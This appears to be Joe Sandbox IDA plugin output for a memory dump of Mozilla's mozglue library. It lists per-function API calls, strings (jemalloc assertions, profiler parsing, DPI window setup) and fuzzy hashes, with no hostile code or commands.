Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

CreateWindowExW, xrefs: 6C9B56C5
StretchDIBits, xrefs: 6C9B57CC
gdi32, xrefs: 6C9B560A
user32, xrefs: 6C9B5601
GetDpiForWindow, xrefs: 6C9B5690
SetWindowPos, xrefs: 6C9B56F7
GetSystemMetricsForDpi, xrefs: 6C9B5677
ReleaseDC, xrefs: 6C9B5742
LoadCursorW, xrefs: 6C9B5774
CreateSolidBrush, xrefs: 6C9B57E4
MonitorFromWindow, xrefs: 6C9B578D
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
EnableNonClientDpiScaling, xrefs: 6C9B5666
GetMonitorInfoW, xrefs: 6C9B57A2
LoadIconW, xrefs: 6C9B575B
GetWindowDC, xrefs: 6C9B5710
FillRect, xrefs: 6C9B5729
ShowWindow, xrefs: 6C9B56DE
DeleteObject, xrefs: 6C9B57F9
RegisterClassW, xrefs: 6C9B56AC
SetWindowLongPtrW, xrefs: 6C9B57B7

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
user32.dll, xrefs: 6C966526
_etoured.dll, xrefs: 6C9664ED
detoured.dll, xrefs: 6C9664DA
nvdxgiwrap.dll, xrefs: 6C966513
nvd3d9wrap.dll, xrefs: 6C966500

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

MOZ_CRASH(), xrefs: 6C986AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
<jemalloc>, xrefs: 6C986AA9, 6C986B59
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A
MALLOC_OPTIONS, xrefs: 6C986888

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4
<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvd3d9wrap.dll, xrefs: 6C994466
nvinit.dll, xrefs: 6C994479

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_CRASH(), xrefs: 6C970CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9A5AC3
data, xrefs: 6C9A6131
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Time entry, xrefs: 6C9A5CB6
name, xrefs: 6C9A5E79, 6C9A5E8F
schema, xrefs: 6C9A606D

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

set , xrefs: 6C9A36EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
get , xrefs: 6C9A3205

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
